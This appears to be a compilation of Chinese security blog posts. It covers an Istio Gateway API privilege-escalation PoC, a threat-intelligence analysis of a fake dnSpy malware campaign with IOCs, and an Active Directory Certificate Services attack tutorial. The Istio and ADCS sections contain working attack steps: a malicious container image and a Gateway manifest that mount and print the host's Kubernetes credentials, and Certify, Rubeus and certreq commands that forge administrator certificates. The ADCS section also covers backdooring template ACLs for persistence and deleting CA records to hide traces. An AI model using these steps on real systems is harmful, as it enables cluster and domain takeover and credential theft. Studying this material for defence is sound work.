apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-gateways-only-create
subjects:
- kind: User
  name: test
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: gateways-only-create
  apiGroup: rbac.authorization.k8s.io
EOF

在利用漏洞之前,我们需要先制作一个恶意的 docker 镜像,我这里直接选择了 proxyv2 镜像作为目标镜像,替换其中的 /usr/local/bin/pilot-agent 为 bash 脚本,在 tag 一下 push 到本地的 registry 或者 docker.io 都可以。

docker run -it  --entrypoint /bin/sh istio/proxyv2:1.12.1
cp /usr/local/bin/pilot-agent /usr/local/bin/pilot-agent-orig
cat << EOF > /usr/local/bin/pilot-agent
#!/bin/bash

echo $1
if [ $1 != "istio-iptables" ]
then
    touch /tmp/test/pwned
    ls -lha /tmp/test/*
    cat /tmp/test/*
fi

/usr/local/bin/pilot-agent-orig $*
EOF
chmod +x /usr/local/bin/pilot-agent
exit
docker tag 0e87xxxxcc5c xxxx/proxyv2:malicious

commit 之前记得把 image 的 entrypoint 改为 /usr/local/bin/pilot-agent

接着利用下列的命令完成攻击,注意我覆盖了注解中的 inject.istio.io/templates 为 sidecar 使能让 k8s controller 在创建 pod 任务的时候,让其注解中的 inject.istio.io/templates 也为 sidecar,这样 istiod 的 inject webhook 就会按照 sidecar 的模版进行渲染 pod 资源文件, sidecar.istio.io/userVolumesidecar.istio.io/userVolumeMount 我这里挂载了 /etc/kubernetes 目录,为了和上面的恶意镜像相辅相成, POC 的效果就是直接打印出 Host 中 /etc/kubernetes 目录下的凭证及配置文件,利用 kubelet 的凭证或者 admin token 就可以提权完成接管整个集群,当然你也可以挂载 docker.sock 可以做到更完整的利用。

kubectl --as test create -f - << EOF
apiVersion: gateway.networking.k8s.io/v1alpha2
kind: Gateway
metadata:
  name: gateway
  namespace: istio-ingress
  annotations:
    inject.istio.io/templates: sidecar
    sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
    sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
    sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
spec:
  gatewayClassName: istio
  listeners:
  - name: default
    hostname: "*.example.com"
    port: 80
    protocol: HTTP
    allowedRoutes:
      namespaces:
        from: All
EOF

创建完 Gateway 后 istiod inject webhook 也按照我们的要求创建了 pod

gateway_pod_yaml

docker_image

deployments 最终被渲染如下:

apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: "1"
    inject.istio.io/templates: sidecar
    [...]
    sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
    sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
    sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
  generation: 1
  labels:
    gateway.istio.io/managed: istio.io-gateway-controller
  name: gateway
  namespace: istio-ingress
spec:
  progressDeadlineSeconds: 600
  replicas: 1
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      istio.io/gateway-name: gateway
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      annotations:
        inject.istio.io/templates: sidecar
        [...]
        sidecar.istio.io/proxyImage: docker.io/shtesla/proxyv2:malicious
        sidecar.istio.io/userVolume: '[{"name":"kubernetes-dir","hostPath": {"path":"/etc/kubernetes","type":"Directory"}}]'
        sidecar.istio.io/userVolumeMount: '[{"mountPath":"/tmp/test","name":"kubernetes-dir"}]'
      creationTimestamp: null
      labels:
        istio.io/gateway-name: gateway
        sidecar.istio.io/inject: "true"
    spec:
      containers:
      - image: auto
        imagePullPolicy: Always
        name: istio-proxy
        ports:
        - containerPort: 15021
          name: status-port
          protocol: TCP
        readinessProbe:
          failureThreshold: 10
          httpGet:
            path: /healthz/ready
            port: 15021
            scheme: HTTP
          periodSeconds: 2
          successThreshold: 1
          timeoutSeconds: 2
        resources: {}
        securityContext:
          allowPrivilegeEscalation: true
          capabilities:
            add:
            - NET_BIND_SERVICE
            drop:
            - ALL
          readOnlyRootFilesystem: true
          runAsGroup: 1337
          runAsNonRoot: false
          runAsUser: 0
        terminationMessagePath: /dev/termination-log
        terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30

攻击效果,成功在 /tmp/test 目录下挂载 kubernetes 目录,可以看到 apiserver 的凭据

pwned

总结

虽然 John Howard 与我友好沟通时,反复询问我这和用户直接创建 pod 有何区别?但我觉得整个利用过程也不失为一种新的特权提升的方法。

随着 kubernetes 各种新的 api 从 SIG 孵化出来以及更多新的云原生组件加入进来,在上下文传递的过程中难免会出现这种曲线救国权限溢出的漏洞,我觉得各种云原生的组件 controller 也可以作为重点的审计对象。

实战这个案例有用吗?要说完全能复现这个漏洞的利用过程我觉得是微乎其微的,除非在 infra 中可能会遇到这种场景,k8s 声明式的 api 配合海量组件 watch 资源的变化引入了无限的可能,或许实战中限定资源的读或者写就可以转化成特权提升漏洞。

参考:

  1. https://gateway-api.sigs.k8s.io/
  2. https://istio.io/latest/docs/reference/config/annotations/
  3. https://istio.io/latest/news/security/istio-security-2022-002/
  4. https://istio.io/latest/docs/tasks/traffic-management/ingress/gateway-api/

Fake dnSpy - 当黑客也不讲伍德

12 January 2022 at 13:06

前景提要

dnSpy是一款流行的用于调试,修改和反编译.NET程序的工具。网络安全研究人员在分析 .NET 程序或恶意软件时经常使用。

2022 年1月8日, BLEEPING COMPUTER 发文称, 有攻击者利用恶意的dnSpy针对网络安全研究人员和开发人员发起了一次攻击活动。@MalwareHunterTeam 发布推文披露了分发恶意dnSpy编译版本的Github仓库地址,该版本的dnSpy后续会安装剪切板劫持器, Quasar RAT, 挖矿木马等。

image

image_1

查看 dnSpy 官方版的 Git,发现该工具处于Archived状态,在2020年就已经停止更新,并且没有官方站点。
2022-01-11-19-15-52

攻击者正是借助这一点,通过注册 dnspy[.]net 域名, 设计一个非常精美的网站, 来分发恶意的dnSpy 程序。
image_2
同时购买Google搜索广告, 使该站点在搜索引擎的结果排名前列,以加深影响范围。
2022-01-11-19-19-54

截止 2022 年 1 月 9 日, 该网站已下线

样本分析

dnspy[.]net 下发的为 dnSpy 6.1.8 的修改版,该版本也是官方发布的最后一个版本。

通过修改dnSpy核心模块之一的dnSpy.dll入口代码来完成感染。

dnSpy.dll正常的入口函数如下:

image_3

修改的入口添加了一个内存加载的可执行程序

image_4-1

该程序名为dnSpy Reader

image_5

并经过混淆

image_6

后续会通过mshta下发一些挖矿,剪切板劫持器,RAT等
2022-01-11-19-27-48

Github

攻击者创建的两个 github 分别为:

  • https[:]//github[.]com/carbonblackz/dnSpy
  • https[:]//github[.]com/isharpdev/dnSpy

其中使用的用户名为:isharpdev 和 carbonblackz,请记住这个名字待会儿我们还会看到它

资产拓线

通过对dnspy[.]net的分析,我们发现一些有趣的痕迹进而可对攻击者进行资产拓线:

dnspy.net

域名 dnspy[.]net 注册时间为2021年4月14日。

image_7

该域名存在多个解析记录, 多数为 Cloudflare 提供的 cdn 服务, 然而在查看具体历史解析记录时,我们发现在12月13日- 01月03日该域名使用的IP为45.32.253[.]0 , 与其他几个Cloudflare CDN服务的IP不同,该IP仅有少量的映射记录。

image_8

查询该IP的PDNS记录, 可以发现该IP映射的域名大多数都疑似为伪造的域名, 且大部分域名已经下线。

image_9

这批域名部分为黑客工具/办公软件等下载站点,且均疑似为某些正常网站的伪造域名。

2022-01-11-20-02-22

以及披露事件中的dnspy.net域名, 基于此行为模式,我们怀疑这些域名均为攻击者所拥有的资产,于是对这批域名进行了进一步的分析。

关联域名分析

toolbase[.]co 为例, 该域名历史为黑客工具下载站点, 该网站首页的黑客工具解压密码为 “CarbonBlackz”, 与上传恶意 dnspy 的 Github 用户之一的名字相同。

image_10

该站点后续更新页面标题为 Combolist-Cloud , 与45.32.253[.]0解析记录中存在的combolist.cloud域名记录相同, 部分文件使用 mediafire 或 gofile 进行分发。

image_11

该域名疑似为combolist[.]top的伪造站点, combolist[.]top 是一个提供泄露数据的论坛。

image_12

torfiles[.]net也同样为一个软件下载站。

image_13

Windows-software[.]co以及windows-softeware[.]net均为同一套模板创建的下载站。

image_14

image_15

shortbase[.]net拥有同dnspy[.]net一样的CyberPanel安装页面.且日期均为2021年12月19日。

image_16

下图为dnspy[.]net在WaybackMachine记录中的CyberPanel的历史安装页面。

image_17

coolmint[.]net同样为下载站, 截止 2022 年1月12日依然可以访问.但下载链接仅仅是跳转到mega[.]nz

image_18

filesr[.]nettoolbase[.]co为同一套模板

image_19

此站点的About us 都未做修改,

image_20

该页面的内容则是从FileCR[.]com的About us页面修改而来

2022-01-11-19-57-10

filesr[.]net的软件使用dropbox进行分发,但当前链接均已失效

最后是zippyfiles[.]net, 该站点为黑客工具下载站
2022-01-11-19-53-30
我们还在reddit上发现了一个名为tuki1986的用户两个月前一直在推广toolbase[.]cozippyfiles[.]net站点。

2022-01-11-20-41-21
该用户在一年前推广的网站为bigwarez[.]net

2022-01-11-20-58-43-1
查看该网站的历史记录发现同样为一个工具下载站点,且关联有多个社交媒体账号。

2022-01-12-21-03-15
推特@Bigwarez2

2022-01-11-21-05-11
Facebook@software.download.free.mana

2022-01-11-21-06-54

该账号现在推广的网站为itools[.]digital,是一个浏览器插件的下载站。
2022-01-11-21-18-54

Facebook组@free.software.bigwarez

2022-01-11-21-14-23

领英 - 当前已经无法访问
@free-software-1055261b9

tumblr@bigwarez

2022-01-11-21-12-50

继续分析tuki1986的记录发现了另一个网站blackos[.]net

2022-01-11-21-24-33

该网站同样为黑客工具下载站点

2022-01-11-21-27-38

且在威胁情报平台标注有后门软件

2022-01-12-01-33-08

通过该网站发现有一个名为sadoutlook1992的用户,从18年即开始在各种黑客论坛里发布挂马的黑客工具。

2022-01-12-01-39-59
2022-01-12-01-40-42
2022-01-12-01-41-27

在其最新的活动中,下载链接为zippyfiles[.]net

2022-01-12-01-43-26

从恶意的Gihubt仓库及解压密码可知有一个用户名为”CarbonBlackz”, 使用搜索引擎检索该字符串, 发现在知名的数据泄露网站raidforums[.]com有名为“Carbonblackz”的用户。

image_23

同样的在俄语的黑灰产论坛里也注册有账号,这两个账号均未发布任何帖子和回复,疑似还未投入使用。

image_24

其还在越南最大的论坛中发布软件下载链接:

image_25

image_26

归因分析

通过查看这些域名的WHOIS信息发现, filesr[.]net的联系邮箱为[email protected]

image_22

查询该邮箱的信息关联到一位35岁,疑似来自俄罗斯的人员。

2022-01-12-00-40-11

carbon1986tuki1986这两个ID来看,1986疑似为其出生年份,同时也符合35岁的年龄。

根据这些域名的关联性,行为模式与类似的推广方式,我们认为这些域名与dnspy[.]net的攻击者属于同一批人。

2022-01-12-02-45-11

这是一个经过精心构建的恶意组织,其至少从2018年10月即开始行动,通过注册大量的网站,提供挂马的黑客工具/破解软件下载,并在多个社交媒体上进行推广,从而感染黑客,安全研究人员,软件开发者等用户,后续进行挖矿,窃取加密货币或通过RAT软件窃取数据等恶意行为。

结论

破解软件挂马已经屡见不鲜,但对于安全研究人员的攻击则更容易中招,因为一些黑客工具,分析工具的敏感行为更容易被杀软查杀,所以部分安全研究人员可能会关闭防病毒软件来避免烦人的警告。

虽然目前该组织相关的恶意网站,gihub仓库以及用于分发恶意软件的链接大部分已经失效.但安全研究人员和开发人员还是要时刻保持警惕。对于各种破解/泄露的黑客工具建议在虚拟环境下运行,开发类软件,办公软件要从官网或正规渠道下载,且建议使用正版.以避免造成不必要的损失。

IOCs

dnSpy.dll - f00e0affede6e0a533fd0f4f6c71264d

  • ip
ip:
45.32.253.0

  • domain
zippyfiles.net
windows-software.net
filesr.net
coolmint.net
windows-software.co
dnspy.net
torfiles.net
combolist.cloud
toolbase.co
shortbase.net
blackos.net
bigwarez.net
buysixes.com
itools.digital
4api.net

ADCS 攻击面挖掘与利用

7 December 2021 at 11:11

Author: Imanfeng

0x00 前言

在 BlackHat21 中 Specterops 发布了 Active Directory Certificate Services 利用白皮书,尽管 ADCS 并不是默认安装但在大型企业域中通常被广泛部署。本文结合实战讲述如何在域环境中利用 ADCS 手法拿下域控,哪些对象 ACL 可用于更好的权限维持并涉及 ADCS 的基础架构、攻击面、后利用等。

0x01 技术背景

1. 证书服务

PKI公钥基础结构

在 PKI (公钥基础结构)中,数字证书用于将公密钥对的公钥与其所有者的身份相关联。为了验证数字证书中公开的身份,所有者需要使用私钥来响应质询,只有他才能访问。

Microsoft 提供了一个完全集成到 Windows 生态系统中的公钥基础结构 (PKI) 解决方案,用于公钥加密、身份管理、证书分发、证书撤销和证书管理。启用后,会识别注册证书的用户,以便以后进行身份验证或撤销证书,即 Active Directory Certificate Services (ADCS)。

ADCS关键术语

  • 根证书颁发机构 (Root Certification Authority)
    证书基于信任链,安装的第一个证书颁发机构将是根 CA,它是我们信任链中的起始。
  • 从属 CA (Subordinate CA)
    从属 CA 是信任链中的子节点,通常比根 CA 低一级。
  • 颁发 CA (Issuing CA)
    颁发 CA 属于从属 CA,它向端点(例如用户、服务器和客户端)颁发证书,并非所有从属 CA 都需要颁发 CA。
  • 独立 CA (Standalone CA)
    通常定义是在未加入域的服务器上运行的 CA。
  • 企业 CA (Enterprise CA)
    通常定义是加入域并与 Active Directory 域服务集成的 CA。
  • 电子证书 (Digital Certificate)
    用户身份的电子证明,由 Certificate Authority 发放(通常遵循X.509标准)。
  • AIA (Authority Information Access)
    权威信息访问 (AIA) 应用于 CA 颁发的证书,用于指向此证书颁发者所在的位置引导检查该证书的吊销情况。
  • CDP (CRL Distribution Point)
    包含有关 CRL 位置的信息,例如 URL (Web Server)或 LDAP 路径 (Active Directory)。
  • CRL (Certificate Revocation List)
    CRL 是已被撤销的证书列表,客户端使用 CRL 来验证提供的证书是否有效。

ADCS服务架构

微软官方 ADCS 服务架构中的两层 PKI 环境部署结构示例如下:

ORCA1:首先使用本地管理员部署单机离线的根 CA,配置 AIA 及 CRL,导出根 CA 证书和 CRL 文件

  1. 由于根 CA 需要嵌入到所有验证证书的设备中,所以出于安全考虑,根 CA 通常与客户端之间做网络隔离或关机且不在域内,因为一旦根 CA 遭到管理员误操作或黑客攻击,需要替换所有嵌入设备中的根 CA 证书,成本极高。
  2. 为了验证由根 CA 颁发的证书,需要使 CRL 验证可用于所有端点,为此将在从属 CA (APP1) 上安装一个 Web 服务器来托管验证内容。根 CA 机器使用频率很低,仅当需要进行添加另一个从属/颁发 CA、更新 CA 或更改 CRL。

APP1:用于端点注册的从属 CA,通常完成以下关键配置

  1. 将根 CA 证书放入 Active Directory 的配置容器中,这样允许域客户端计算机自动信任根 CA 证书,不需要在组策略中分发该证书。
  2. 在离线 ORCA1上申请 APP1 的 CA 证书后,利用传输设备将根 CA 证书和 CRL文件放入 APP1 的本地存储中,使 APP1 对根 CA 证书和根 CA CRL 的迅速直接信任。
  3. 部署 Web Server 以分发证书和 CRL,设置 CDP 及 AIA。

LDAP属性

ADCS 在 LDAP 容器中进行了相关属性定义 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=,部分前面提到过

Certificate templates

ADCS 的大部分利用面集中在证书模板中,存储为 CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ,其 objectClass 为 pKICertificateTemplate,以下为证书的字段

  • 常规设置:证书的有效期
  • 请求处理:证书的目的和导出私钥要求
  • 加密:要使用的加密服务提供程序 (CSP) 和最小密钥大小
  • Extensions:要包含在证书中的 X509v3 扩展列表
  • 主题名称:来自请求中用户提供的值,或来自请求证书的域主体身份
  • 发布要求:是否需要“CA证书管理员”批准才能通过证书申请
  • 安全描述符:证书模板的 ACL,包括拥有注册模板所需的扩展权限

证书模板颁发首先需要在 CA 的 certtmpl.msc 进行模板配置,随后在 certsrv.msc 进行证书模板的发布。在 Extensions 中证书模板对象的 EKU (pKIExtendedKeyUsage) 属性包含一个数组,其内容为模板中已启用的 OID (Object Identifiers)

这些自定义应用程序策略 (EKU oid) 会影响证书的用途,以下 oid 的添加才可以让证书用于 Kerberos 身份认证

描述 OID
Client Authentication 1.3.6.1.5.5.7.3.2
PKINIT Client Authentication 1.3.6.1.5.2.3.4
Smart Card Logon 1.3.6.1.4.1.311.20.2.2
Any Purpose 2.5.29.37.0
SubCA (no EKUs)

Enterprise NTAuth store

NtAuthCertificates 包含所有 CA 的证书列表,不在内的 CA 无法处理用户身份验证证书的申请

向 NTAuth 发布/添加证书:
certutil –dspublish –f IssuingCaFileName.cer NTAuthCA

要查看 NTAuth 中的所有证书:
certutil –viewstore –enterprise NTAuth

要删除 NTAuth 中的证书:
certutil –viewdelstore –enterprise NTAuth

域内机器在注册表中有一份缓存:

HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates

当组策略开启“自动注册证书”,等组策略更新时才会更新本地缓存。

Certification Authorities & AIA

Certification Authorities 容器对应根 CA 的证书存储。当有新的颁发 CA 安装时,它的证书则会自动放到 AIA 容器中。

来自他们容器的所有证书同样会作为组策略处理的一部分传播到每个网络连通的客户端,当同步出现问题的话 KDC 认证会抛 KDC_ERR_PADATA_TYPE_NOSUPP 报错。

Certificate Revocation List

前面在 PKI 服务架构中提到了,证书吊销列表 (CRL) 是由颁发相应证书的 CA 发布的已吊销证书列表,将证书与 CRL 进行比较是确定证书是否有效的一种方法。

CN=<CA name>,CN=<ADCS server>,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=

通常证书由序列号标识,CRL 除了吊销证书的序列号之外还包含每个证书的吊销原因和证书被吊销的时间。

2. 证书注册

证书注册流程

ADCS 认证体系中的证书注册流程大致如下:

  1. 客户端创建公钥/私钥对;
  2. 将公钥与其他信息 (如证书的主题和证书模板名称) 一起放在证书签名请求 (CSR) 消息中,并使用私钥签署;
  3. CA 首先判断用户是否允许进行证书申请,证书模板是否存在以及判断请求内容是否符合证书模板;
  4. 通过审核后,CA 生成含有客户端公钥的证书并使用自己的私钥来签署;
  5. 签署完的证书可以进行查看并使用。

证书注册方式

1. 证书颁发机构 Web 注册

在部署 CA 时勾选证书颁发机构 Web 注册,即可在 http://CA-Computer/certsrv 身份认证后进行证书申请。

2. 客户端 GUI 注册

域内机器可以使用 certmgr.msc (用户证书),certlm.msc (计算机证书)  GUI 请求证书

3. 命令行注册

域内机器可以通过 certreq.exe 或Powershell Get-Certificate 申请证书,后面有使用示例

4. DCOM调用

基于 DCOM 的证书注册遵循 MS-WCCE 协议进行证书请求,目前大多数 C#、python、Powershell的 ADCS 利用工具都按照 WCCE 进行证书请求。

证书注册权限

在 Active Directory 中权限控制是基于访问控制模型的,其包含两个基本部分:

  • 访问令牌,其中包含有关登录用户的信息
  • 安全描述符,其中包含保护安全对象的安全信息

在 ADCS 中使用两种安全性定义注册权限 (主体可以请求证书) ,一个在证书模板 AD 对象上,另一个在企业 CA 本身上

在颁发 CA 机器上使用 certtmpl.msc 可查看所有证书模板,通过安全扩展可以对证书模板的用户访问权限查看。

可以在颁发 CA 机器上使用 certsrv.msc 查看 CA 对于用户的访问权限设置。

0x02 证书使用

1. 证书认证

Kerberos认证

Kerberos 是域环境中主要的认证协议,其认证流程大致如下:

  1. AS_REQ:client 用 client_hash 、时间戳向 KDC 进行身份验证;
  2. AS_REP:KDC 检查 client_hash 与时间戳,如果正确则返回 client 由 krbtgt 哈希加密的 TGT 票据和 PAC 等相关信息;
  3. TGS_REQ:client 向 KDC 请求 TGS 票据,出示其 TGT 票据和请求的 SPN;
  4. TGS_REP:KDC 如果识别出 SPN ,则将该服务账户的 NTLM 哈希加密生成的 ST 票据返回给 client;
  5. AP_REQ:client 使用 ST 请求对应服务,将 PAC 传递给服务进行检查。服务通过 PAC 查看用户的 SID 和用户组等并与自身的 ACL 进行对比,如果不满足则作为适当的 RPC 状态代码返回;
  6. AP_REP:服务器验证 AP-REQ,如果验证成功则发送 AP-REP,客户端和服务端通过中途生成的 Session key 等信息通过加解密转换验证对方身份。

PKINIT认证

在 RFC 4556 中定义了 PKINIT 为 Kerberos 的扩展协议,可通过 X.509 证书用来获取 Kerberos 票据 (TGT)。

PKINIT 与 Kerberos 差别主要在 AS 阶段:

  1. PKINIT AS_REQ:发d送内容包含证书,私钥进行签名。KDC 使用公钥对数字签名进行校验,确认后返回使用证书公钥加密的 TGT 并且消息是使用 KDC 私钥签名;
  2. PKINIT AS_REP:客户端使用 KDC 公钥进行签名校验,随后使用证书私钥解密成功拿到 TGT。

详细的协议流程规范:http://pike.lysator.liu.se/docs/ietf/rfc/45/rfc4556.xml

NTLM凭据

在2016年,通过证书获取 NTLM 的功能就被集成在 kekeo 和 mimikatz 中,核心在于当使用证书进行 PKCA 扩展协议认证的时候,返回的 PAC 中包含了 NTLM 票据。

即使用户密码改了,通过证书随时可以拿到 NTLM。获取能用来进行 Kerberos 身份认证的证书需要满足一下几个条件:

1. 证书模板OID

前面我们提到了,目前已知应用程序策略 (oid) 只有包含了 Client Authentication、PKINIT Client Authentication、Smart Card Logon、Any Purpose、SubCA 时,对应的证书才能充当 PKINIT 身份认证凭据。

2. 证书请求权限

  • 用户拥有向 CA 申请证书的权限;
  • 用户拥有证书模板申请证书的权限。

2. 证书获取

导出机器证书

通过 certlm.msc 图形化或 certutil.exe 进行证书导出。

当私钥设置为不允许导出的时候,利用 Mimikatz 的 crypto::capi 命令可以 patch 当前进程中的 capi ,从而利用 Crypto APIs 导出含有私钥的证书。

导出用户证书

通过 certmgr.msc 图形化或 certutil.exe 进行用户证书导出。

遇到私钥限制同样可尝试 crypto::capi 导出证书。

本地检索证书

在实战中会遇到证书、私钥文件就在文件夹内并不需要导出,其后缀文件主要有以下几种

后缀 描述
.pfx\ .p12\ .pkcs12 含公私钥,通常有密码保护
.pem 含有base64证书及私钥,可利用openssl格式转化
.key 只包含私钥
.crt\ .cer 只包含证书
.csr 证书签名请求文件,不含有公私钥
.jks\ .keystore\ .keys 可能含有 java 应用程序使用的证书和私钥

可结合自身需求通过开源工具或自研武器来满足检索文件后缀的需求。

0x03 证书滥用

本节围绕 ADCS 从证书模板的滥用到权限维持滥用进行讲解

1. 证书模板

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 滥用

该错误配置在企业 ADCS 中是最为常见的,需满足的条件为:

  • 颁发 CA 授予低权限用户请求权限 (默认)
  • 模板中 CA 管理员审批未启用 (默认)
  • 模板中不需要授权的签名 (默认)
  • 模板允许低权限用户注册
  • 模板定义了启用认证的 EKU
  • 证书模板允许请求者在 CSR 中指定一个 subjectAltName

如果满足上列条件,当攻击者在请求证书时可通过 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 字段来声明自己的身份,从而可获取到伪造身份的证书,Certify 为白皮书配套的 ADCS 利用工具。

Certify.exe find /vulnerable

使用 certutil.exe -TCAInfo 判断 CA 状态及当前用户请求的权限情况

利用 Certify 的 set altname 来伪造 administrator 身份尝试得到证书

Certify.exe request /ca:"CA01.corp.qihoo.cn\corp-CA01-CA" /template:”ESC1“ /altname:administrator

成功通过申请后可得到含有公私钥的 pem 证书文件,使用 openssl 进行格式转化

/usr/bin/openssl pkcs12 -in ~/cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ~/cert.pfx

20.11后的 Rubeus 进行了 PKINIT 证书支持,使用 cert.pfx 作为 administrator 身份申请 TGT,成功获得 administrator 的票据

Rubeus4.exe asktgt /user:Administrator /certificate:cert.pfx /password:123456 /outfile:cert.kribi /ptt

Any EKU OR no EKU

与第一种利用需满足的条件前四点相同的用户证书非机器证书,主要差别在 EKU 的描述:

  • 颁发 CA 授予低权限用户请求权限 (默认)
  • 模板中 CA 管理员审批未启用 (默认)
  • 模板中不需要授权的签名 (默认)
  • 模板允许低权限用户注册
  • 证书模板中定义了 no EKU 或 any EKU

可使用 certutil.exe 检查模板的 pKIExtendedKeyUsage 字段是否为空

certutil -v -dstemplate

通过 Certify 成功定位到恶意模板

该利用方式并不是能直接通过 Kerberos 认证来伪造用户。Any Purpose (OID 2.5.29.37.0) 可以用于任何目的,包括客户端身份验证,如果没有指定eku,即 pkiextendedkeyusag 为空那么该证书就相当于从属 CA 的证书,可以用于任何情况给其他用户来颁发证书。

前面说过 CA 证书不在 NtAuthCertificates 内的话,是无法为身份认证作用来颁发证书的,所以该利用手段无法直接伪造用户,但可以用来签发用于其他应用,例如 ADFS ,它是 Microsoft 作为 Windows Server 的标准角色提供的一项服务,它使用现有的 Active Directory 凭据提供 Web 登录,感兴趣的可以自己搭环境试一试。

注册代理证书滥用

CA 提供一些基本的证书模板,但是标准的 CA 模板不能直接使用,必须首先复制和配置。部分企业出于便利性通过在服务器上设置可由管理员或注册代理来直接代表其他用户注册对应模板得到使用的证书。

实现该功能需要两个配置模板:

  1. 颁发“注册代理”的证书模板
  2. 满足代表其他用户进行注册的证书模板

模板一为颁发“注册代理”证书

  • 颁发 CA 授予低权限用户请求权限 (默认)
  • 模板中 CA 管理员审批未启用 (默认)
  • 模板中不需要授权的签名 (默认)
  • 模板允许低权限用户注册
  • 证书模板中定义了证书请求代理 EKU (1.3.6.1.4.1.311.20.2.1)

模板二为允许使用“注册代理”证书去代表其他用户申请身份认证证书

  • 颁发 CA 授予低权限用户请求权限 (默认)
  • 模板中 CA 管理员审批未启用 (默认)
  • 模板中不需要授权的签名 (默认)
  • 模板允许低权限用户注册
  • 模板定义了启用认证的 EKU
  • 模板模式版本1或大于2并指定应用策略,签发要求证书请求代理 EKU
  • 没有在 CA 上对登记代理进行限制 (默认)

申请注册代理证书并连同私钥导出为 esc3_1.pfx

利用 Certify 通过 esc3_1.pfx 代表 administrator 申请 esc3_2.pfx 的身份认证证书,得到的证书同样可以进行 ptt 利用

Certify.exe request /ca:"CA01.corp.qihoo.cn\corp-CA01-CA" /template:ESC3_2 /onbehalfof:administrator /enrollcert:esc3_1.pfx /enrollcertpw:123456

可看到证书颁发给了 administrator

EDITF_ATTRIBUTESUBJECTALTNAME2 滥用

一些企业因业务需求会把颁发 CA + EDITF_ATTRIBUTESUBJECTALTNAME2  来启用 SAN (主题备用名),从而允许用户在申请证书时说明自己身份。例如 CBA for Azure AD 场景中证书通过 NDES 分发到移动设备,用户需要使用 RFC 名称或主体名称作为 SAN 扩展名来声明自己的身份。

至此利用手段与第一种一样均可伪造身份,区别在于一个是证书属性,一个是证书扩展。

  • 企业CA授予低权限用户请求权限(默认)
  • 模板中CA管理员审批未启用(默认)
  • 模板中不需要授权的签名(默认)
  • CA +EDITF_ATTRIBUTESUBJECTALTNAME2

通过远程注册表判断 CA 是否开启 SAN 标识

certutil -config "CA01.corp.qihoo.cn\corp-CA01-CA" -getreg "policy\EditFlags"

手动创建利用证书请求

certreq –new usercert.inf certrequest.req

#usercert.inf
[NewRequest]

KeyLength=2048
KeySpec=1
RequestType = PKCS10
Exportable = TRUE 
ExportableEncrypted = TRUE

[RequestAttributes]
CertificateTemplate=USER

利用 req 请求上步得到 .cer 含公钥证书,其他字段可翻阅官方文档

certreq -submit -config "CA01.corp.qihoo.cn\corp-CA01-CA" -attrib "SAN:[email protected]" certrequest.req certrequest.cer

将 .cer 导入机器后连同私钥导出为 .pfx ,同样顺利通过 ptt 认证。

2. 访问权限

前面提到,证书模板和证书颁发机构是 AD 中的安全对象,这意味着安全描述符同样可用来指定哪些主体对他们具有特定的权限,详细内容可阅读 ACL 相关文档。

在对应设置中安全选项可用于对用户的权限进行相关设置,我们关注5种权限

权限 描述
Owner 对象所有人,可以编辑任何属性
Full Control 完全控制对象,可以编辑任何属性
WriteOwner 允许委托人修改对象的安全描述符的所有者部分
WriteDacl 可以修改访问控制
WriteProperty 可以编辑任何属性

模板访问权限配置错误

例如我们已经拿下整个域想借助证书模板进行权限维持,那我们可对一个无害正常模板进行相关 ACL 添加

  • NT AUTHORITY\Authenticated Users -> WriteDacl
  • NT AUTHORITY\Authenticated Users -> WriteProperty

当我们重新回到域内通过密码喷洒等手段再次拿到任意一个用户凭据后,即可将该无害模板变成我们可以利用的提权模板

  • msPKI-Certificates-Name-Flag -edit-> ENROLLEE_SUPPLIES_SUBJECT (WriteProperty)
  • msPKI-Certificate-Application-Policy -add-> 服务器身份验证 (WriteProperty)
  • mspki-enrollment-flag -edit-> AUTO_ENROLLMENT (WriteProperty)
  • Enrollment Rights -add-> Control User (WriteDacl)

随后利用恶意模板进行 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 提权利用,可拿到 administrator 的证书凭据即可 ptt ,相比 Certify ,certi 是可以在域外使用的。

PKI 访问权限配置错误

如果低特权的攻击者可以对 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= 控制,那么攻击者就会直接控制 PKI 系统 (证书模板容器、证书颁发机构容器、NTAuthCertificates对象、注册服务容器等)。

CN=Public Key Services,CN=Services,CN=Configuration 添加 CORP\zhangsan 用户对其 GenericAll 的权限

此时我们可以滥用权限创建一个新的恶意证书模板来使用进行前面相关的域权限提升方法。

CA 访问权限配置错误

CA 本身具有一组安全权限用于权限管理

我们主要关注 ManageCAManageCertificates 两种权限

权限 描述
Read 读取 CA
ManageCA CA 管理员
Issue and manage certificates 证书管理
Request certificates 请求证书,默认拥有

利用面一:隐藏 CA 申请记录

在拿到域管权限或拥有 PKI 操作权限后创建一个恶意证书模板

使用 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 姿势获取到 administrator 的 pfx 证书用于权限维持 (用户状态异常无法利用该证书)

我们出于隐蔽考虑可删除模板并利用拥有 ManageCA 权限的 zhangsan 调用 COM 接口 ICertAdminD2::DeleteRow 从 CA 数据库中删除申请的证书痕迹

